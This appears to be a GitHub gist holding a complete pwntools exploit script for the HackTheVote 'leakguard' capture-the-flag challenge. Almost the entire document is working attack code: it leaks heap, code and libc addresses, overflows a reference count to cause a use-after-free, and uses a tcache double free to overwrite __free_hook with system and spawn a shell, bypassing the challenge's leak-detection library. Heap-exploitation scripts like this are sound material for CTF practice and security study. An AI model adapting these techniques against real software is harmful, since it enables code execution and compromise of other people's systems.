HackTheVote leakguard - Char Overflow triggering uaf
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from pwn import * | |
import sys | |
import os | |
remote_ip,port = 'leakguard.hackthe.vote','1734' | |
binary = ['./candles'] | |
reu = lambda a : io.recvuntil(a) | |
sla = lambda a,b : io.sendlineafter(a,b) | |
sl = lambda a : io.sendline(a) | |
rel = lambda : io.recvline() | |
sa = lambda a,b : io.sendafter(a,b) | |
re = lambda a : io.recv(a) | |
def choice(i): | |
sla("Choice: ",str(i)) | |
def add_wax(oil_choice,dye_choice): | |
choice(1) | |
sla('Choice: ',str(oil_choice)) | |
sla('Choice: ',str(dye_choice)) | |
def delete_wax(wax_choice): | |
choice(2) | |
reu("Which wax would you like to dump:\n") | |
sla('Choice: ',str(wax_choice)) | |
def add_candle(wax_choice,candle): | |
choice(3) | |
sla('Choice: ',str(wax_choice)) | |
sa('candle:\n',candle) | |
def view_candles(): | |
choice(4) | |
def delete_candle(candle): | |
choice(5) | |
reu("ndle:\n") | |
sla('Choice: ',str(candle)) | |
def overflow_cnt(): | |
#Keep adding and deleting candles in loops of 0x20 because there are only 0x20 candles possible at once | |
for _ in xrange(0x1e): | |
add_candle(2,'d'*0x10) | |
for i in range(2,0x20): | |
delete_candle(i) | |
for _ in xrange(0x1e): | |
add_candle(2,'d'*0x10) | |
for i in range(2,0x20): | |
delete_candle(i) | |
for _ in xrange(0x1e): | |
add_candle(2,'d'*0x10) | |
for i in range(2,0x20): | |
delete_candle(i) | |
for _ in xrange(0x1e): | |
add_candle(2,'d'*0x10) | |
for i in range(2,0x20): | |
delete_candle(i) | |
for _ in xrange(0x1e): | |
add_candle(2,'d'*0x10) | |
for i in range(2,0x20): | |
delete_candle(i) | |
for _ in xrange(0x1e): | |
add_candle(2,'d'*0x10) | |
for i in range(2,0x20): | |
delete_candle(i) | |
for _ in xrange(0x1e): | |
add_candle(2,'d'*0x10) | |
for i in range(2,0x20): | |
delete_candle(i) | |
for _ in xrange(0x1e): | |
add_candle(2,'d'*0x10) | |
for i in range(2,0x20): | |
delete_candle(i) | |
for _ in xrange(0x7 + 8): | |
add_candle(2,'d'*0x10) | |
for i in range(2,0x20): | |
delete_candle(i) | |
def get_shell(free_hook,system): | |
#Trigger double free | |
delete_wax(2) #struct | |
delete_candle(0) #0->struct | |
delete_candle(2) #struct->0->struct | |
add_candle(1,p64(free_hook-1)) #return free struct, overwrite it with free_hook-1 to bypass leakguard | |
add_candle(1,'/bin/sh\x00') | |
add_candle(1,'/bin/sh\x00') | |
add_candle(1,'\x00' + p64(system)) #Get allocation on free hook-1, overwrite first byte with null to bypass leakguard | |
delete_candle(0) | |
if __name__ == "__main__": | |
#Exploit runs in a while loop | |
while(True): | |
if len(sys.argv)>1: | |
io = remote(remote_ip,port) | |
else: | |
io = process(binary,env = {"LD_PRELOAD" : "./leakguard.so"}) | |
#Add wax , link 2 candles , free both candles such that one has a heap pointer | |
add_wax(0,0) | |
add_candle(0,'a'*0x10) | |
add_candle(0,'b'*0x10) | |
delete_candle(0) | |
delete_candle(1) #1->0, 0 and 1 bss pointers nulled out | |
#Return uninitialized free chunk to leak heap | |
add_candle(0,'\x01\x01') #consume 1 , tcache => 0 -> Null | |
view_candles() | |
reu('0: ') | |
heap = u64(re(6) + '\x00'*2) - 0x101 | |
delete_candle(0) | |
try: | |
if(heap < 0): | |
raise EOFError | |
except EOFError: | |
log.failure("Restarting Exploit") | |
io.close() | |
continue | |
#Getting second byte of heap base with binary search | |
low = 1 | |
high = 0xf | |
while(low!=high): | |
log.info("lo , hi = " + hex(low) + " " + hex(high)) | |
mid = (low + high)/2 | |
if(low + 1 == high and mid==low): | |
mid = high | |
add_candle(0,'a' + p8(mid*0x10)) | |
view_candles() | |
reu("0: ") | |
leak = u64(re(6) + '\x00'*2) | |
log.info("Binary search leak = " + hex(leak)) | |
delete_candle(0) | |
if(leak == 0): | |
high = mid -1 | |
else: | |
low = mid | |
#We ultimately leak code base in most runs | |
heap += (low + 1)*0x1000 | |
code = heap | |
log.info("code = " + hex(heap)) | |
libc_ptr = code + 0x50a0 | |
log.success("libc ptr = " + hex(libc_ptr)) | |
add_wax(3,3) | |
add_wax(1,1) | |
# Add and delete candles , increase candle count upto 0x100 so that byte pointer of count gets nulled | |
overflow_cnt() | |
add_candle(2,'\x00') | |
#Trigger uaf on wax | |
delete_candle(2) #2 | |
#Get allocation on wax structure, overwrite candle reference count with 0xfe so that it ultimately nulls out after 2 allocations | |
add_candle(2,p64(0xfe) + p64(libc_ptr+1)) | |
#Leak Libc | |
choice(3) | |
reu("2:\n") | |
libc = int(hex(u64(re(5) + '\x00'*3)) + '00',16) - 0x3ec700 | |
log.success("libc = " + hex(libc)) | |
free_hook = libc + 0x3ed8e8 | |
system = libc + 0x4f4e0 | |
choice(2) | |
sla("candle:\n",'f\x00') | |
add_candle(2,'p\x00') | |
#Double free to get to free hook, overwrite free_hook with system starting with null to bypass leakguard | |
get_shell(free_hook,system) | |
io.interactive() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment